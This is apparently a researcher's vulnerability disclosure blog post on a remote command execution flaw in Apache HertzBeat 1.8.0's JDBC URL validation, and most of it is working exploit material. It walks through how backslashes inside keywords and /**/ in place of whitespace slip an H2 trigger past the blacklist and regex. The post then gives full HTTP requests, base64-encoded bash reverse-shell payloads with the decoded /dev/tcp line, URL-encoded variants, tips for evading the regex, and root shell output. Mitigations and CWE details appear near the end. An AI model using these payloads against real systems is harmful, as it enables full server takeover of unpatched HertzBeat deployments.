Apache HertzBeat JDBC RCE

免责声明:本文仅供安全研究与学习交流使用,请勿将文中技术用于未经授权的测试或攻击。文中观点仅代表作者个人,与任何组织无关。如有侵权、内容异议或其他不便,请联系作者(GitHub:@unam4)删除。

0x01 Overview

This issue was identified by the Secrux team via static analysis. We request a CVE assignment; this is very important to the Secrux team.

Vulnerability description: A remote attacker with access to the monitor detection API can supply a crafted JDBC URL that bypasses the URL format checks and blacklist in JdbcCommonCollect#constructDatabaseUrl. When the backend attempts to connect, the injected H2 JDBC parameters can create and execute a malicious trigger, resulting in arbitrary command execution on the server.

Affected version: hertzbeat-1.8.0

1
2
3
4
5
6
7
8
9
java.sql.DriverManager:getConnection(java.lang.String,java.lang.String,java.lang.String)
[0]#java.sql.DriverManager:getConnection(java.lang.String,java.lang.String,java.lang.String)
[1]# org.apache.hertzbeat.collector.collect.database.JdbcCommonCollect:getConnection(java.lang.String,java.lang.String,java.lang.String,java.lang.Integer,boolean) (JdbcCommonCollect:326)
[2]# org.apache.hertzbeat.collector.collect.database.JdbcCommonCollect:collect(org.apache.hertzbeat.common.entity.message.CollectRep$MetricsData$Builder,org.apache.hertzbeat.common.entity.job.Metrics) (JdbcCommonCollect:222)
[3]# org.apache.hertzbeat.collector.collect.AbstractCollect:collect(org.apache.hertzbeat.common.entity.message.CollectRep$MetricsData$Builder,org.apache.hertzbeat.common.entity.job.Metrics) (AbstractCollect:0)
[4]# org.apache.hertzbeat.collector.dispatch.MetricsCollect:run() (MetricsCollect:202)
[5]# org.apache.hertzbeat.collector.dispatch.MetricsCollect:<init>(org.apache.hertzbeat.common.entity.job.Metrics,org.apache.hertzbeat.common.timer.Timeout,org.apache.hertzbeat.collector.dispatch.CollectDataDispatch,java.lang.String,java.util.List) (MetricsCollect:0) !run_in_other_thread!
[6]# org.apache.hertzbeat.collector.dispatch.CommonDispatcher:lambda$dispatchMetricsTask$1(org.apache.hertzbeat.common.timer.Timeout,org.apache.hertzbeat.common.entity.job.Job,org.apache.hertzbeat.common.entity.job.Metrics) (CommonDispatcher:202)
[7]# org.apache.hertzbeat.collector.dispatch.CommonDispatcher:dispatchMetricsTask(org.apache.hertzbeat.common.timer.Timeout) (CommonDispatcher:201) !entry!

0x02 Analysis

org.apache.hertzbeat.collector.collect.database.JdbcCommonCollect#constructDatabaseUrl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
   private String constructDatabaseUrl(JdbcProtocol jdbcProtocol, String host, String port) {
if (Objects.nonNull(jdbcProtocol.getUrl())
&& !Objects.equals("", jdbcProtocol.getUrl())
&& jdbcProtocol.getUrl().startsWith("jdbc")) {
// limit url length
if (jdbcProtocol.getUrl().length() > 2048) {
throw new IllegalArgumentException("JDBC URL length exceeds maximum limit of 2048 characters");
}
// remove special characters
String cleanedUrl = jdbcProtocol.getUrl().replaceAll("[\\x00-\\x1F\\x7F\\xA0]", "");
String url = recursiveDecode(cleanedUrl);
String urlLowerCase = url.toLowerCase();
// url format check
if (!urlLowerCase.matches("^jdbc:[a-zA-Z0-9]+:([^\\s;]+)(;[^\\s;]+)*$")) {
throw new IllegalArgumentException("Invalid JDBC URL format");
}
// backlist check
for (String keyword : BLACK_LIST) {
if (urlLowerCase.contains(keyword.toLowerCase())) {
throw new IllegalArgumentException("Invalid JDBC URL: contains potentially malicious parameter: " + keyword);
}
}
// universal detection
String normalizedUrl = urlLowerCase.replaceAll("[\\x00-\\x1F\\x7F\\xA0]", " ");
// universal detection of JDBC injection and deserialization attacks
if (normalizedUrl.matches(".*jndi\\s*[:=].*")
|| normalizedUrl.matches(".*ldap\\s*[:=].*")
|| normalizedUrl.matches(".*rmi\\s*[:=].*")
|| normalizedUrl.matches(".*java\\s*[:=].*")
|| normalizedUrl.matches(".*serialization\\s*[:=].*")
|| normalizedUrl.matches(".*deserializ.*\\s*[:=].*")
|| normalizedUrl.matches(".*objectinputstream\\s*[:=].*")
|| normalizedUrl.matches(".*readobject\\s*[:=].*")) {
throw new IllegalArgumentException("Invalid JDBC URL: contains potentially malicious JNDI or deserialization parameter");
}
// universal detection of bypass
for (String pattern : UNIVERSAL_BYPASS_PATTERNS) {
if (normalizedUrl.matches(pattern)) {
throw new IllegalArgumentException("Invalid JDBC URL: contains potentially malicious bypass pattern");
}
}
// database platform specific bypass detection
if (jdbcProtocol.getPlatform() != null) {
String platform = jdbcProtocol.getPlatform().toLowerCase();
// check for specific bypass modes on the platform
String[] platformPatterns = PLATFORM_BYPASS_PATTERNS.get(platform);
if (platformPatterns != null) {
for (String pattern : platformPatterns) {
if (normalizedUrl.matches(pattern)) {
throw new IllegalArgumentException("Invalid " + platform.toUpperCase() + " JDBC URL: contains potentially malicious bypass pattern");
}
}
}
}
return url;
}

The core problem is that the regex validation can be bypassed.

1
if (!urlLowerCase.matches("^jdbc:[a-zA-Z0-9]+:([^\\s;]+)(;[^\\s;]+)*$")) 

This check blocks ; and whitespace in the JDBC URL. Whitespace can be bypassed using /**/.

payload

1
jdbc:h2:mem:test;i\nit=CRE\ATE/**/TRI\GGER/**/UNAM4/**/BEFORE/**/SELECT/**/ON/**/INFORMATION_SCHEMA.TABLES/**/AS/**/$$/**/void/**/UNAM4()/**/throws/**/Exception{/**/if(Runtime.getRuntime().exec(\"bash\\u0020-c\\u0020{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjAuMi4xLzkwMDEgMD4mMQ}|{base64,-d}|{bash,-i}\").isAlive()){}}$$

Then, leveraging H2's parsing behavior, a backslash can be inserted into keywords to bypass the blacklist checks.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
for (String keyword : BLACK_LIST) {
if (urlLowerCase.contains(keyword.toLowerCase())) {
throw new IllegalArgumentException("Invalid JDBC URL: contains potentially malicious parameter: " + keyword);
}
}
String normalizedUrl = urlLowerCase.replaceAll("[\\x00-\\x1F\\x7F\\xA0]", " ");
// universal detection of JDBC injection and deserialization attacks
if (normalizedUrl.matches(".*jndi\\s*[:=].*")
|| normalizedUrl.matches(".*ldap\\s*[:=].*")
|| normalizedUrl.matches(".*rmi\\s*[:=].*")
|| normalizedUrl.matches(".*java\\s*[:=].*")
|| normalizedUrl.matches(".*serialization\\s*[:=].*")
|| normalizedUrl.matches(".*deserializ.*\\s*[:=].*")
|| normalizedUrl.matches(".*objectinputstream\\s*[:=].*")
|| normalizedUrl.matches(".*readobject\\s*[:=].*")) {
throw new IllegalArgumentException("Invalid JDBC URL: contains potentially malicious JNDI or deserialization parameter");
}
// universal detection of bypass
for (String pattern : UNIVERSAL_BYPASS_PATTERNS) {
if (normalizedUrl.matches(pattern)) {
throw new IllegalArgumentException("Invalid JDBC URL: contains potentially malicious bypass pattern");
}
}

Finally, the payload is triggered in org.apache.hertzbeat.collector.collect.database.JdbcCommonCollect#getConnection.

0x03 PoC / Verification

1
2
3
4
5
6
7
8
9
10
11
POST /api/monitor/detect HTTP/2
Host: <target>
Content-Length: 1980
Authorization: <REDACTED>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"monitor":{"intervals":60,"app":"postgresql","scrape":"static","host":"1","name":"Loyal_Ocelot_38FT"},"collector":"","params":[{"display":true,"field":"host","type":1,"paramValue":"1"},{"display":true,"field":"port","type":0,"paramValue":5432},{"display":true,"field":"database","type":1,"paramValue":"postgres"},{"display":true,"field":"username","type":1},{"display":true,"field":"password","type":1},{"display":true,"field":"timeout","type":0,"paramValue":6000},{"display":true,"field":"url","type":1,"paramValue":"jdbc:h2:mem:test;i%5Cnit%3DCRE%5CATE%2F%2A%2A%2FTRI%5CGGER%2F%2A%2A%2FUNAM4%2F%2A%2A%2FBEFORE%2F%2A%2A%2FSELECT%2F%2A%2A%2FON%2F%2A%2A%2FINFORMATION_SCHEMA.TABLES%2F%2A%2A%2FAS%2F%2A%2A%2F%24%24%2F%2A%2A%2Fvoid%2F%2A%2A%2FUNAM4%28%29%2F%2A%2A%2Fthrows%2F%2A%2A%2FException%7B%2F%2A%2A%2Fif%28Runtime.getRuntime%28%29.exec%28%5C%22bash%5C%5Cu0020-c%5C%5Cu0020%7Becho%2Cc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjAuMi4xLzkwMDEgMD4mMQ%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%5C%22%29.isAlive%28%29%29%7B%7D%7D%24%24"},{"display":true,"field":"enableSshTunnel","type":1,"paramValue":false},{"display":true,"field":"sshHost","type":1},{"display":true,"field":"sshPort","type":0,"paramValue":22},{"display":true,"field":"sshTimeout","type":0,"paramValue":6000},{"display":true,"field":"sshUsername","type":1},{"display":true,"field":"sshPassword","type":1},{"display":true,"field":"sshShareConnection","type":1,"paramValue":true},{"display":true,"field":"sshPrivateKey","type":1},{"display":true,"field":"sshPrivateKeyPassphrase","type":1}]}

Full request below.

org.apache.hertzbeat.collector.collect.database.JdbcCommonCollect#constructDatabaseUrl

This method calls recursiveDecode(cleanedUrl) to decode the URL.

After sending the request, a reverse shell is obtained on 192.0.2.1:9001.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
nc -l 9001
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# ls
apache-hertzbeat-1.8.0.jar
bin
config
data
define
dist
ext-lib
lib
LICENSE
licenses
logs
NOTICE
README.md

0x04 Additional Details (CVE Report)

CWE: CWE-78 (OS Command Injection)

Attack Vector: Remote (network). Requires authenticated access to the backend monitor detect API and the ability to submit a crafted JDBC URL.

Impact: Backend remote command execution under the privileges of the Hertzbeat service process, leading to full system compromise.

Severity (suggested): High (RCE).

Affected Component: org.apache.hertzbeat.collector.collect.database.JdbcCommonCollect#constructDatabaseUrl and #getConnection.

Affected Versions: Tested on hertzbeat-1.8.0; earlier versions are likely affected if they share the same URL validation logic.

Suggested Mitigations:

  • Enforce a strict allowlist of JDBC schemes and disallow H2 init/trigger features.
  • Reject comment-based whitespace bypasses and normalize input before validation.
  • Avoid recursive decoding or limit to a single safe decode pass.
  • Restrict who can access the detect API and validate URLs server-side with a secure parser.

补充说明

​ payload在使用base64时,生成的base64字符不能有+符号,如果payload生成的base64包含+号,会被

1
2
3
if (!urlLowerCase.matches("^jdbc:[a-zA-Z0-9]+:([^\\s;]+)(;[^\\s;]+)*$")) {
throw new IllegalArgumentException("Invalid JDBC URL format");
}

进行匹配到,这里需换下端口号,直到生成的base64字符不包含+号即可绕过检测,触发反弹shell。

payload

1
2
3
4
5
6
///bin/bash -i >& /dev/tcp/127.0.0.1/38888 0>&1
jdbc:h2:mem:test;i\nit=CRE\ATE/**/TRI\GGER/**/UNAM4/**/BEFORE/**/SELECT/**/ON/**/INFORMATION_SCHEMA.TABLES/**/AS/**/$$/**/void/**/UNAM4()/**/throws/**/Exception{/**/if(Runtime.getRuntime().exec(\"bash\\u0020-c\\u0020{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS8zODg4OCAwPiYx}|{base64,-d}|{bash,-i}\").isAlive()){}}$$

//
url encoding
jdbc:h2:mem:test;%69%5c%6e%69%74%3d%43%52%45%5c%41%54%45%2f%2a%2a%2f%54%52%49%5c%47%47%45%52%2f%2a%2a%2f%55%4e%41%4d%34%2f%2a%2a%2f%42%45%46%4f%52%45%2f%2a%2a%2f%53%45%4c%45%43%54%2f%2a%2a%2f%4f%4e%2f%2a%2a%2f%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%2f%2a%2a%2f%41%53%2f%2a%2a%2f%24%24%2f%2a%2a%2f%76%6f%69%64%2f%2a%2a%2f%55%4e%41%4d%34%28%29%2f%2a%2a%2f%74%68%72%6f%77%73%2f%2a%2a%2f%45%78%63%65%70%74%69%6f%6e%7b%2f%2a%2a%2f%69%66%28%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%5c%22%62%61%73%68%5c%5c%75%30%30%32%30%2d%63%5c%5c%75%30%30%32%30%7b%65%63%68%6f%2c%4c%32%4a%70%62%69%39%69%59%58%4e%6f%49%43%31%70%49%44%34%6d%49%43%39%6b%5a%58%59%76%64%47%4e%77%4c%7a%45%79%4e%79%34%77%4c%6a%41%75%4d%53%38%7a%4f%44%67%34%4f%43%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%5c%22%29%2e%69%73%41%6c%69%76%65%28%29%29%7b%7d%7d%24%24

完整数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /api/monitor/detect HTTP/2
Host: <target>
Content-Length: 1930
Sec-Ch-Ua-Platform: "macOS"
Authorization: <REDACTED>
Accept-Language: zh-CN
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: https://<target>
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<target>/monitors/new?app=postgresql
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"monitor":{"intervals":60,"scheduleType":"interval","app":"postgresql","scrape":"static","name":"Zealous_Falcon_34MJ","instance":"2"},"collector":"","params":[{"display":true,"field":"host","type":1,"paramValue":"2"},{"display":true,"field":"port","type":0,"paramValue":80},{"display":true,"field":"database","type":1,"paramValue":"test"},{"display":true,"field":"timeout","type":0,"paramValue":500},{"display":true,"field":"url","type":1,"paramValue":"jdbc:h2:mem:test;%69%5c%6e%69%74%3d%43%52%45%5c%41%54%45%2f%2a%2a%2f%54%52%49%5c%47%47%45%52%2f%2a%2a%2f%55%4e%41%4d%34%2f%2a%2a%2f%42%45%46%4f%52%45%2f%2a%2a%2f%53%45%4c%45%43%54%2f%2a%2a%2f%4f%4e%2f%2a%2a%2f%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%2f%2a%2a%2f%41%53%2f%2a%2a%2f%24%24%2f%2a%2a%2f%76%6f%69%64%2f%2a%2a%2f%55%4e%41%4d%34%28%29%2f%2a%2a%2f%74%68%72%6f%77%73%2f%2a%2a%2f%45%78%63%65%70%74%69%6f%6e%7b%2f%2a%2a%2f%69%66%28%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%5c%22%62%61%73%68%5c%5c%75%30%30%32%30%2d%63%5c%5c%75%30%30%32%30%7b%65%63%68%6f%2c%4c%32%4a%70%62%69%39%69%59%58%4e%6f%49%43%31%70%49%44%34%6d%49%43%39%6b%5a%58%59%76%64%47%4e%77%4c%7a%45%79%4e%79%34%77%4c%6a%41%75%4d%53%38%7a%4f%44%67%34%4f%43%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%5c%22%29%2e%69%73%41%6c%69%76%65%28%29%29%7b%7d%7d%24%24"
},{"display":true,"field":"enableSshTunnel","type":1,"paramValue":false},{"display":true,"field":"sshHost","type":1},{"display":true,"field":"sshPort","type":0,"paramValue":22},{"display":true,"field":"sshTimeout","type":0,"paramValue":500},{"display":true,"field":"sshUsername","type":1},{"display":true,"field":"sshPassword","type":1},{"display":true,"field":"sshShareConnection","type":1,"paramValue":true},{"display":true,"field":"sshPrivateKey","type":1},{"display":true,"field":"sshPrivateKeyPassphrase","type":1}]}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@<container>:/opt/hertzbeat# nc -lvnp 38888
Listening on 0.0.0.0 38888
Connection received on 127.0.0.1 57282
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@<container>:/opt/hertzbeat# pwd
pwd
/opt/hertzbeat
root@<container>:/opt/hertzbeat# ls
ls
apache-hertzbeat-1.8.0.jar
bin
config
data
define
dist
ext-lib
lib
LICENSE
licenses
logs
NOTICE
README.md
root@<container>:/opt/hertzbeat#

Apache HertzBeat JDBC RCE
https://unam4.github.io/2026/12/04/Apache-HertzBeat-JDBC-RCE/
作者
unam4
发布于
2026年12月4日
许可协议